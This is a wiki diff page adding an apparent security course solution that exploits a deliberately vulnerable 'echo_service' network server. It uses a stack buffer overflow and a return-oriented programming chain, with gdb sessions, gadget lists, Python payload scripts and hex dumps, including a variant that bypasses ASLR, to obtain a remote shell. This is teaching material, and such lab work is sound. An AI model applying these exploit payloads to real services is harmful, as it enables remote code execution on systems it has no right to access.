session:solution:11
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| session:solution:11 [2015/07/07 17:00] – Razvan Deaconescu | session:solution:11 [2020/07/19 09:49] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | ====== | + | ====== |
| - | ===== Stack Canaries ===== | + | [[http:// |
| - | TODO | + | ===== Gadget Tut ===== |
| - | ===== Format Strings ===== | + | Check the '' |
| - | TODO | + | ===== Echo Service ===== |
| + | < | ||
| + | The log files created with [[http:// | ||
| + | </ | ||
| + | |||
| + | By going through the '' | ||
| + | |||
| + | Let's first consider our steps. | ||
| + | - We will create a payload that overflows the '' | ||
| + | - We will update the payload issue the following calls through the ROP chain, as also indicated in the task: | ||
| + | - '' | ||
| + | - '' | ||
| + | - '' | ||
| + | - We will start the server and then we will use '' | ||
| + | |||
| + | We aim for the stack to be the one below:< | ||
| + | 0x00000000 | ||
| + | ... | ||
| + | start address of buf | ||
| + | ... | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | "/ | ||
| + | +--------------------------------+ | ||
| + | |||
| + | ... | ||
| + | 0xFFFFFFFF | ||
| + | </ | ||
| + | |||
| + | In the above figure we will overflow the '' | ||
| + | |||
| + | We can use '' | ||
| + | $ strace -f -e accept,read ./ | ||
| + | [ Process PID=20460 runs in 32 bit mode. ] | ||
| + | read(3, " | ||
| + | accept(3, {sa_family=AF_INET, | ||
| + | Process 20617 attached | ||
| + | [pid 20460] accept(3, | ||
| + | [pid 20617] read(4, " | ||
| + | [pid 20617] +++ exited with 0 +++ | ||
| + | <... accept resumed> 0xbffff348, [16]) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) | ||
| + | --- SIGCHLD {si_signo=SIGCHLD, | ||
| + | accept(3, | ||
| + | </ | ||
| + | This makes sense since '' | ||
| + | |||
| + | On the client side, we had issued a '' | ||
| + | $ nc localhost 7000 | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | anaaremere | ||
| + | Got it! Here it is: | ||
| + | anaaremere | ||
| + | </ | ||
| + | |||
| + | We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks. | ||
| + | |||
| + | ==== Getting Required Data ==== | ||
| + | |||
| + | Let's first use GDB to gather all the required data for creating the payload. We need: | ||
| + | * the offset of the return address for the '' | ||
| + | * the address of the '' | ||
| + | * the address of the '' | ||
| + | * the address of the '' | ||
| + | * a ROP gadget that consists of two '' | ||
| + | |||
| + | The '' | ||
| + | |||
| + | We'll use '' | ||
| + | $ gdb -q ./ | ||
| + | Reading symbols from ./ | ||
| + | gdb-peda$ start 7000 | ||
| + | [...] | ||
| + | gdb-peda$ pattc 1500 | ||
| + | ' | ||
| + | gdb-peda$ c | ||
| + | Continuing. | ||
| + | [New process 26535] | ||
| + | |||
| + | Program received signal SIGSEGV, Segmentation fault. | ||
| + | [Switching to process 26535] | ||
| + | [----------------------------------registers-----------------------------------] | ||
| + | EAX: 0xffffffff | ||
| + | EBX: 0xb7f9f000 --> 0x1a5da8 | ||
| + | ECX: 0xffffffbc | ||
| + | EDX: 0x5dd | ||
| + | ESI: 0x0 | ||
| + | EDI: 0x0 | ||
| + | EBP: 0x41256e41 (' | ||
| + | ESP: 0xbffff240 (" | ||
| + | [...] | ||
| + | Stopped reason: SIGSEGV | ||
| + | 0x6e41736e in ?? () | ||
| + | gdb-peda$ patto nsAn | ||
| + | nsAn found at offset: 1040 | ||
| + | </ | ||
| + | |||
| + | The pattern generated through GDB on the server side is fed to the server through the use of the '' | ||
| + | $ nc localhost 7000 | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | AAA%AAsAABAA$AAnAACAA-... | ||
| + | </ | ||
| + | The offset is '' | ||
| + | |||
| + | We'll use the '' | ||
| + | gdb-peda$ info address dup2@plt | ||
| + | Symbol " | ||
| + | gdb-peda$ info address system@plt | ||
| + | Symbol " | ||
| + | </ | ||
| + | The addresses are: | ||
| + | * '' | ||
| + | * '' | ||
| + | |||
| + | We'll use '' | ||
| + | gdb-peda$ searchmem /bin/sh | ||
| + | Searching for '/ | ||
| + | Found 1 results, display max 1 items: | ||
| + | libc : 0xb7f561a9 ("/ | ||
| + | </ | ||
| + | The address for '' | ||
| + | |||
| + | We'll use '' | ||
| + | gdb-peda$ dumprop | ||
| + | Warning: this can be very slow, do not run for large memory range | ||
| + | Writing ROP gadgets to file: echo_service-rop.txt ... | ||
| + | 0x8048906: ret | ||
| + | 0x804877f: repz ret | ||
| + | 0x80487ae: ret 0xeac1 | ||
| + | 0x8048799: leave; ret | ||
| + | 0x8048b6f: pop ebp; ret | ||
| + | 0x8048904: dec ecx; ret | ||
| + | 0x8048e1c: inc ecx; ret | ||
| + | 0x80485c9: pop ebx; ret | ||
| + | 0x8048b7f: nop; repz ret | ||
| + | 0x8048798: ror cl,1; ret | ||
| + | 0x804877e: add dh,bl; ret | ||
| + | 0x80487d5: ror cl,cl; ret | ||
| + | 0x80487fb: leave; repz ret | ||
| + | 0x8048761: sbb al,0x24; ret | ||
| + | 0x8048e1b: adc al,0x41; ret | ||
| + | 0x8048760: mov ebx,[esp]; ret | ||
| + | 0x8048b7e: nop; nop; repz ret | ||
| + | 0x8048797: call eax; leave; ret | ||
| + | 0x80487d4: call edx; leave; ret | ||
| + | 0x80487fa: add ecx,ecx; repz ret | ||
| + | 0x8048b6e: pop edi; pop ebp; ret | ||
| + | 0x804877d: ja 0x8048781; repz ret | ||
| + | 0x80487b6: jne 0x80487ba; repz ret | ||
| + | 0x8048796: or bh,bh; ror cl,1; ret | ||
| + | 0x804875f: nop; mov ebx,[esp]; ret | ||
| + | --More--(25/ | ||
| + | </ | ||
| + | The address of the gadget is '' | ||
| + | |||
| + | We'll use these data to construct the payload. | ||
| + | |||
| + | ==== Creating the ROP Payload (non-ASLR) ==== | ||
| + | |||
| + | Based on the above information we create the following Python file for printing out the payload:< | ||
| + | # | ||
| + | |||
| + | import sys | ||
| + | import struct | ||
| + | |||
| + | # 0x8048b6e: pop edi; pop ebp; ret | ||
| + | pop_pop_ret = 0x8048b6e | ||
| + | # libc : 0xb7f561a9 ("/ | ||
| + | bin_sh = 0xb7f561a9 | ||
| + | # Symbol " | ||
| + | system_plt = 0x8048670 | ||
| + | # Symbol " | ||
| + | dup2_plt = 0x80485f0 | ||
| + | |||
| + | # Offset from buffer start to function return address is 1040. | ||
| + | payload = 1040*" | ||
| + | |||
| + | # Add ROP for dup2(sockfd, | ||
| + | # * address of dup2() | ||
| + | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | ||
| + | # * dup2 arguments: sockfd (4) and standard output (1) | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Add ROP for dup2(sockfd, | ||
| + | # * address of dup2() | ||
| + | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | ||
| + | # * dup2 arguments: sockfd (4) and standard input (0) | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Add ROP for system("/ | ||
| + | # * address of dup2() | ||
| + | # * return address for system(): we don't care, just use zero | ||
| + | # * system argument: address of "/ | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | sys.stdout.write(payload) | ||
| + | </ | ||
| + | |||
| + | The payload creates a padding of '' | ||
| + | $ python payload-no-aslr.py | xxd | ||
| + | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
| + | 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
| + | [...] | ||
| + | 00000410: f085 0408 6e8b 0408 0400 0000 0000 0000 ....n........... | ||
| + | 00000420: f085 0408 6e8b 0408 0400 0000 0100 0000 ....n........... | ||
| + | 00000430: 7086 0408 0000 0000 a961 f5b7 p........a.. | ||
| + | </ | ||
| + | |||
| + | ==== Testing the non-ASLR Payload ==== | ||
| + | |||
| + | We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:< | ||
| + | $ ldd echo_service | ||
| + | linux-gate.so.1 (0xb7ffd000) | ||
| + | libc.so.6 => / | ||
| + | / | ||
| + | $ ldd echo_service | ||
| + | linux-gate.so.1 (0xb7ffd000) | ||
| + | libc.so.6 => / | ||
| + | / | ||
| + | $ ldd echo_service | ||
| + | linux-gate.so.1 (0xb7ffd000) | ||
| + | libc.so.6 => / | ||
| + | / | ||
| + | </ | ||
| + | |||
| + | Let's first test the payload by running the server under GDB. We'll break after the '' | ||
| + | $ gdb -q ./ | ||
| + | Reading symbols from ./ | ||
| + | gdb-peda$ start 7001 | ||
| + | [...] | ||
| + | gdb-peda$ set follow-fork-mode child | ||
| + | |||
| + | gdb-peda$ b echo_service | ||
| + | Breakpoint 2 at 0x8048857 | ||
| + | |||
| + | gdb-peda$ c | ||
| + | [...] | ||
| + | Breakpoint 2, 0x08048857 in echo_service () | ||
| + | gdb-peda$ pdis | ||
| + | Dump of assembler code for function echo_service: | ||
| + | | ||
| + | | ||
| + | | ||
| + | => 0x08048857 < | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | End of assembler dump. | ||
| + | gdb-peda$ b *0x080488d3 | ||
| + | Breakpoint 3 at 0x80488d3 | ||
| + | gdb-peda$ b *0x08048906 | ||
| + | Breakpoint 4 at 0x8048906 | ||
| + | gdb-peda$ c | ||
| + | [...] | ||
| + | Breakpoint 3, 0x080488d3 in echo_service () | ||
| + | gdb-peda$ c | ||
| + | Continuing. | ||
| + | [----------------------------------registers-----------------------------------] | ||
| + | EAX: 0xffffffff | ||
| + | EBX: 0xb7f9f000 --> 0x1a5da8 | ||
| + | ECX: 0xffffffbc | ||
| + | EDX: 0x43c | ||
| + | ESI: 0x0 | ||
| + | EDI: 0x0 | ||
| + | EBP: 0x41414141 (' | ||
| + | ESP: 0xbffff23c --> 0x80485f0 (< | ||
| + | EIP: 0x8048906 (< | ||
| + | EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) | ||
| + | [-------------------------------------code-------------------------------------] | ||
| + | | ||
| + | | ||
| + | | ||
| + | => 0x8048906 < | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | [------------------------------------stack-------------------------------------] | ||
| + | 0000| 0xbffff23c --> 0x80485f0 (< | ||
| + | 0004| 0xbffff240 --> 0x8048b6e (< | ||
| + | 0008| 0xbffff244 --> 0x4 | ||
| + | 0012| 0xbffff248 --> 0x0 | ||
| + | 0016| 0xbffff24c --> 0x80485f0 (< | ||
| + | 0020| 0xbffff250 --> 0x8048b6e (< | ||
| + | 0024| 0xbffff254 --> 0x4 | ||
| + | 0028| 0xbffff258 --> 0x1 | ||
| + | [------------------------------------------------------------------------------] | ||
| + | Legend: code, data, rodata, value | ||
| + | |||
| + | Breakpoint 4, 0x08048906 in echo_service () | ||
| + | |||
| + | gdb-peda$ context stack 11 | ||
| + | [------------------------------------stack-------------------------------------] | ||
| + | 0000| 0xbffff23c --> 0x80485f0 (< | ||
| + | 0004| 0xbffff240 --> 0x8048b6e (< | ||
| + | 0008| 0xbffff244 --> 0x4 | ||
| + | 0012| 0xbffff248 --> 0x0 | ||
| + | 0016| 0xbffff24c --> 0x80485f0 (< | ||
| + | 0020| 0xbffff250 --> 0x8048b6e (< | ||
| + | 0024| 0xbffff254 --> 0x4 | ||
| + | 0028| 0xbffff258 --> 0x1 | ||
| + | 0032| 0xbffff25c --> 0x8048670 (< | ||
| + | 0036| 0xbffff260 --> 0x0 | ||
| + | 0040| 0xbffff264 --> 0xb7f561a9 ("/ | ||
| + | [------------------------------------------------------------------------------] | ||
| + | Legend: code, data, rodata, value | ||
| + | gdb-peda$ c | ||
| + | Continuing. | ||
| + | [New process 17858] | ||
| + | process 17858 is executing new program: /bin/dash | ||
| + | Warning: | ||
| + | Cannot insert breakpoint 3. | ||
| + | Cannot access memory at address 0x80488d3 | ||
| + | Cannot insert breakpoint 4. | ||
| + | Cannot access memory at address 0x8048906 | ||
| + | </ | ||
| + | |||
| + | On the client side we run '' | ||
| + | $ (python payload-no-aslr.py; | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | [...] | ||
| + | </ | ||
| + | We can see that the stack right before returning from the '' | ||
| + | |||
| + | Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.< | ||
| + | --- on the server side --- | ||
| + | $ ./ | ||
| + | |||
| + | --- on the client side --- | ||
| + | $ (python payload-no-aslr.py; | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | ls | ||
| + | echo_service | ||
| + | echo_service-rop.txt | ||
| + | echo_service.c | ||
| + | payload-aslr-alt.py | ||
| + | payload-aslr.py | ||
| + | payload-no-aslr.py | ||
| + | peda-session-echo_service.txt | ||
| + | ps | ||
| + | PID TTY TIME CMD | ||
| + | 14269 pts/3 00:00:00 echo_service | ||
| + | 16413 pts/3 00:00:00 echo_service < | ||
| + | 18249 pts/3 00:00:00 bash | ||
| + | 21341 pts/3 00:00:00 echo_service | ||
| + | 21393 pts/3 00:00:00 echo_service | ||
| + | 21394 pts/3 00:00:00 sh | ||
| + | 21395 pts/3 00:00:00 sh | ||
| + | 21470 pts/3 00:00:00 ps | ||
| + | 26088 pts/3 00:00:00 echo_service | ||
| + | 26535 pts/3 00:00:00 echo_service < | ||
| + | </ | ||
| + | |||
| + | Excellent! We have created a shell by calling '' | ||
| + | |||
| + | Let's try the same thing on an ASLR-enabled system:< | ||
| + | --- server side --- | ||
| + | |||
| + | $ ldd echo_service | ||
| + | linux-gate.so.1 (0xf7772000) | ||
| + | libc.so.6 => / | ||
| + | / | ||
| + | $ ldd echo_service | ||
| + | linux-gate.so.1 (0xf778a000) | ||
| + | libc.so.6 => / | ||
| + | / | ||
| + | $ ./ | ||
| + | |||
| + | --- client side --- | ||
| + | |||
| + | $ (python payload-no-aslr.py; | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | ls | ||
| + | $ dmesg | tail -1 | ||
| + | [425842.224264] echo_service[24545]: | ||
| + | </ | ||
| + | |||
| + | It doesn' | ||
| + | |||
| + | ==== Idea for Bypassing ASLR ==== | ||
| + | |||
| + | The random placement of the '' | ||
| + | |||
| + | Our idea is to use a '' | ||
| + | 0x00000000 | ||
| + | ... | ||
| + | start address of buf | ||
| + | ... | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | fixed writable address | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | | ||
| + | +--------------------------------+ | ||
| + | | fixed writable address | ||
| + | +--------------------------------+ | ||
| + | |||
| + | ... | ||
| + | 0xFFFFFFFF | ||
| + | </ | ||
| + | In the above figure we add the '' | ||
| + | - the socket file descriptor ('' | ||
| + | - the fixed writable address where the '' | ||
| + | - the length of the message we will deliver ('' | ||
| + | |||
| + | We need an additional gadget that pops 3 times and the uses a '' | ||
| + | |||
| + | We need the following in order to create the payload that gets us to the above stack configuration: | ||
| + | - the address of the '' | ||
| + | - the address of a ROP gadget that uses 3 '' | ||
| + | - the fixed writable address we will use to store the '' | ||
| + | |||
| + | For the first two addresses we use GDB:< | ||
| + | $ gdb -q ./ | ||
| + | Reading symbols from ./ | ||
| + | gdb-peda$ start 7006 | ||
| + | [...] | ||
| + | gdb-peda$ info address read@plt | ||
| + | Symbol " | ||
| + | gdb-peda$ dumprop | ||
| + | Warning: this can be very slow, do not run for large memory range | ||
| + | Writing ROP gadgets to file: echo_service-rop.txt ... | ||
| + | 0x8048906: ret | ||
| + | 0x804877f: repz ret | ||
| + | 0x80487ae: ret 0xeac1 | ||
| + | 0x8048799: leave; ret | ||
| + | 0x8048b6f: pop ebp; ret | ||
| + | 0x8048904: dec ecx; ret | ||
| + | 0x8048e1c: inc ecx; ret | ||
| + | 0x80485c9: pop ebx; ret | ||
| + | 0x8048b7f: nop; repz ret | ||
| + | 0x8048798: ror cl,1; ret | ||
| + | 0x804877e: add dh,bl; ret | ||
| + | 0x80487d5: ror cl,cl; ret | ||
| + | 0x80487fb: leave; repz ret | ||
| + | 0x8048761: sbb al,0x24; ret | ||
| + | 0x8048e1b: adc al,0x41; ret | ||
| + | 0x8048760: mov ebx,[esp]; ret | ||
| + | 0x8048b7e: nop; nop; repz ret | ||
| + | 0x8048797: call eax; leave; ret | ||
| + | 0x80487d4: call edx; leave; ret | ||
| + | 0x80487fa: add ecx,ecx; repz ret | ||
| + | 0x8048b6e: pop edi; pop ebp; ret | ||
| + | 0x804877d: ja 0x8048781; repz ret | ||
| + | 0x80487b6: jne 0x80487ba; repz ret | ||
| + | 0x8048796: or bh,bh; ror cl,1; ret | ||
| + | 0x804875f: nop; mov ebx,[esp]; ret | ||
| + | --More--(25/ | ||
| + | 0x8048b7d: nop; nop; nop; repz ret | ||
| + | 0x80487d3: or bh,bh; ror cl,cl; ret | ||
| + | 0x80485c6: add esp,0x8; pop ebx; ret | ||
| + | 0x8048e1a: push cs; adc al,0x41; ret | ||
| + | 0x8048849: hlt; call eax; leave; ret | ||
| + | 0x80485c7: les ecx,[eax]; pop ebx; ret | ||
| + | 0x80487f9: or [ecx],al; leave; repz ret | ||
| + | 0x80487b5: clc; jne 0x80487ba; repz ret | ||
| + | 0x8048b7c: nop; nop; nop; nop; repz ret | ||
| + | 0x8048793: push 0xff0804a0; ror cl,1; ret | ||
| + | 0x804875e: xchg ax,ax; mov ebx,[esp]; ret | ||
| + | 0x8048b6d: pop esi; pop edi; pop ebp; ret | ||
| + | 0x80487f7: mov al, | ||
| + | 0x804877c: push es; ja 0x8048781; repz ret | ||
| + | 0x8048779: or [ebx+0x27706f8], | ||
| + | 0x80487d0: push 0xff0804a0; ror cl,cl; ret | ||
| + | 0x80487f6: push 0x10804a0; leave; repz ret | ||
| + | 0x8048795: add al,0x8; call eax; leave; ret | ||
| + | 0x80487d1: mov al, | ||
| + | 0x8048794: mov al, | ||
| + | 0x80487d2: add al,0x8; call edx; leave; ret | ||
| + | 0x80487f8: add al,0x8; add ecx,ecx; repz ret | ||
| + | 0x8048b7b: nop; nop; nop; nop; nop; repz ret | ||
| + | 0x8048848: inc ebp; hlt; call eax; leave; ret | ||
| + | 0x80487b4: sar eax,1; jne 0x80487ba; repz ret | ||
| + | --More--(50/ | ||
| + | gdb-peda$ | ||
| + | </ | ||
| + | The address of '' | ||
| + | |||
| + | For the fixed writable address we inspect the executable using '' | ||
| + | $ readelf -S echo_service | ||
| + | There are 30 section headers, starting at offset 0x11bc: | ||
| + | |||
| + | Section Headers: | ||
| + | [Nr] Name Type Addr | ||
| + | [ 0] | ||
| + | [ 1] .interp | ||
| + | [ 2] .note.ABI-tag | ||
| + | [ 3] .hash | ||
| + | [ 4] .gnu.hash | ||
| + | [ 5] .dynsym | ||
| + | [ 6] .dynstr | ||
| + | [ 7] .gnu.version | ||
| + | [ 8] .gnu.version_r | ||
| + | [ 9] .rel.dyn | ||
| + | [10] .rel.plt | ||
| + | [11] .init | ||
| + | [12] .plt PROGBITS | ||
| + | [13] .text | ||
| + | [14] .fini | ||
| + | [15] .rodata | ||
| + | [16] .eh_frame_hdr | ||
| + | [17] .eh_frame | ||
| + | [18] .init_array | ||
| + | [19] .fini_array | ||
| + | [20] .jcr PROGBITS | ||
| + | [21] .dynamic | ||
| + | [22] .got PROGBITS | ||
| + | [23] .got.plt | ||
| + | [24] .data | ||
| + | [25] .bss NOBITS | ||
| + | [26] .comment | ||
| + | [27] .shstrtab | ||
| + | [28] .symtab | ||
| + | [29] .strtab | ||
| + | Key to Flags: | ||
| + | W (write), A (alloc), X (execute), M (merge), S (strings) | ||
| + | I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) | ||
| + | O (extra OS processing required) o (OS specific), p (processor specific) | ||
| + | </ | ||
| + | We see that we have access to the '' | ||
| + | |||
| + | This is all the information we need to construct the payload. | ||
| + | |||
| + | ==== Creating the ROP Payload (ASLR) ==== | ||
| + | |||
| + | Based on the above information we create the following Python file for printing out the payload:< | ||
| + | # | ||
| + | |||
| + | import sys | ||
| + | import struct | ||
| + | |||
| + | # 0x8048b6e: pop edi; pop ebp; ret | ||
| + | pop_pop_ret = 0x8048b6e | ||
| + | # 0x8048b6d: pop esi; pop edi; pop ebp; ret | ||
| + | pop_pop_pop_ret = 0x8048b6d | ||
| + | # libc : 0xb7f561a9 ("/ | ||
| + | bin_sh = 0xb7f561a9 | ||
| + | # Symbol " | ||
| + | system_plt = 0x8048670 | ||
| + | # Symbol " | ||
| + | dup2_plt = 0x80485f0 | ||
| + | # Symbol " | ||
| + | read_plt = 0x8048600 | ||
| + | # [24] .data | ||
| + | data = 0x0804a060 | ||
| + | |||
| + | # Offset from buffer start to function return address is 1040. | ||
| + | payload = 1040*" | ||
| + | |||
| + | # Add ROP for dup2(sockfd, | ||
| + | # * address of dup2() | ||
| + | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | ||
| + | # * dup2 arguments: sockfd (4) and standard output (1) | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Add ROP for dup2(sockfd, | ||
| + | # * address of dup2() | ||
| + | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | ||
| + | # * dup2 arguments: sockfd (4) and standard input (0) | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Add ROP for read(sockfd, | ||
| + | # * address of read() | ||
| + | # * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) | ||
| + | # * read arguments: 4, data address, 8 bytes for /bin/sh\n | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Add ROP for system("/ | ||
| + | # * address of dup2() | ||
| + | # * return address for system(): we don't care, just use zero | ||
| + | # * system argument: address of "/ | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | sys.stdout.write(payload) | ||
| + | </ | ||
| + | |||
| + | The payload creates a padding of '' | ||
| + | $ python payload-aslr.py | xxd | ||
| + | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
| + | 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
| + | [...] | ||
| + | 00000410: f085 0408 6e8b 0408 0400 0000 0000 0000 ....n........... | ||
| + | 00000420: f085 0408 6e8b 0408 0400 0000 0100 0000 ....n........... | ||
| + | 00000430: 0086 0408 6d8b 0408 0400 0000 60a0 0408 ....m.......`... | ||
| + | 00000440: 0800 0000 7086 0408 0000 0000 60a0 0408 ....p.......`.. | ||
| + | </ | ||
| + | |||
| + | ==== Testing the ASLR Payload ==== | ||
| + | |||
| + | We run the payload on an ASLR-enabled system:< | ||
| + | $ ldd echo_service | ||
| + | linux-gate.so.1 (0xf7733000) | ||
| + | libc.so.6 => / | ||
| + | / | ||
| + | $ ldd echo_service | ||
| + | linux-gate.so.1 (0xf775b000) | ||
| + | libc.so.6 => / | ||
| + | / | ||
| + | </ | ||
| + | |||
| + | Let's first test the payload by running the server under GDB. We'll break after the '' | ||
| + | --- server side --- | ||
| + | |||
| + | $ gdb -q ./ | ||
| + | Reading symbols from ./ | ||
| + | gdb-peda$ start 7008 | ||
| + | [...] | ||
| + | |||
| + | gdb-peda$ b echo_service | ||
| + | Breakpoint 2 at 0x8048857 | ||
| + | |||
| + | gdb-peda$ c | ||
| + | [...] | ||
| + | Breakpoint 2, 0x08048857 in echo_service () | ||
| + | |||
| + | gdb-peda$ pdis | ||
| + | Dump of assembler code for function echo_service: | ||
| + | | ||
| + | | ||
| + | | ||
| + | => 0x08048857 < | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | End of assembler dump. | ||
| + | gdb-peda$ b *0x080488d3 | ||
| + | Breakpoint 3 at 0x80488d3 | ||
| + | gdb-peda$ b *0x08048906 | ||
| + | Breakpoint 4 at 0x8048906 | ||
| + | gdb-peda$ c | ||
| + | [...] | ||
| + | Breakpoint 3, 0x080488d3 in echo_service () | ||
| + | gdb-peda$ c | ||
| + | Continuing. | ||
| + | [----------------------------------registers-----------------------------------] | ||
| + | EAX: 0xffffffff | ||
| + | EBX: 0xf7f9d000 --> 0x1a5da8 | ||
| + | ECX: 0xffffffbc | ||
| + | EDX: 0x450 | ||
| + | ESI: 0x0 | ||
| + | EDI: 0x0 | ||
| + | EBP: 0x41414141 (' | ||
| + | ESP: 0xffffd28c --> 0x80485f0 (< | ||
| + | EIP: 0x8048906 (< | ||
| + | EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) | ||
| + | [-------------------------------------code-------------------------------------] | ||
| + | | ||
| + | | ||
| + | | ||
| + | => 0x8048906 < | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | [------------------------------------stack-------------------------------------] | ||
| + | 0000| 0xffffd28c --> 0x80485f0 (< | ||
| + | 0004| 0xffffd290 --> 0x8048b6e (< | ||
| + | 0008| 0xffffd294 --> 0x4 | ||
| + | 0012| 0xffffd298 --> 0x0 | ||
| + | 0016| 0xffffd29c --> 0x80485f0 (< | ||
| + | 0020| 0xffffd2a0 --> 0x8048b6e (< | ||
| + | 0024| 0xffffd2a4 --> 0x4 | ||
| + | 0028| 0xffffd2a8 --> 0x1 | ||
| + | [------------------------------------------------------------------------------] | ||
| + | Legend: code, data, rodata, value | ||
| + | |||
| + | Breakpoint 4, 0x08048906 in echo_service () | ||
| + | gdb-peda$ context stack 16 | ||
| + | [------------------------------------stack-------------------------------------] | ||
| + | 0000| 0xffffd28c --> 0x80485f0 (< | ||
| + | 0004| 0xffffd290 --> 0x8048b6e (< | ||
| + | 0008| 0xffffd294 --> 0x4 | ||
| + | 0012| 0xffffd298 --> 0x0 | ||
| + | 0016| 0xffffd29c --> 0x80485f0 (< | ||
| + | 0020| 0xffffd2a0 --> 0x8048b6e (< | ||
| + | 0024| 0xffffd2a4 --> 0x4 | ||
| + | 0028| 0xffffd2a8 --> 0x1 | ||
| + | 0032| 0xffffd2ac --> 0x8048600 (< | ||
| + | 0036| 0xffffd2b0 --> 0x8048b6d (< | ||
| + | 0040| 0xffffd2b4 --> 0x4 | ||
| + | 0044| 0xffffd2b8 --> 0x804a060 --> 0x0 | ||
| + | 0048| 0xffffd2bc --> 0x8 | ||
| + | 0052| 0xffffd2c0 --> 0x8048670 (< | ||
| + | 0056| 0xffffd2c4 --> 0x0 | ||
| + | 0060| 0xffffd2c8 --> 0x804a060 --> 0x0 | ||
| + | [------------------------------------------------------------------------------] | ||
| + | Legend: code, data, rodata, value | ||
| + | gdb-peda$ c | ||
| + | Continuing. | ||
| + | [New process 2331] | ||
| + | process 2331 is executing new program: /bin/dash | ||
| + | Warning: | ||
| + | Cannot insert breakpoint 3. | ||
| + | Cannot access memory at address 0x80488d3 | ||
| + | Cannot insert breakpoint 4. | ||
| + | Cannot access memory at address 0x8048906 | ||
| + | |||
| + | --- client side --- | ||
| + | |||
| + | $ (python payload-aslr.py; | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
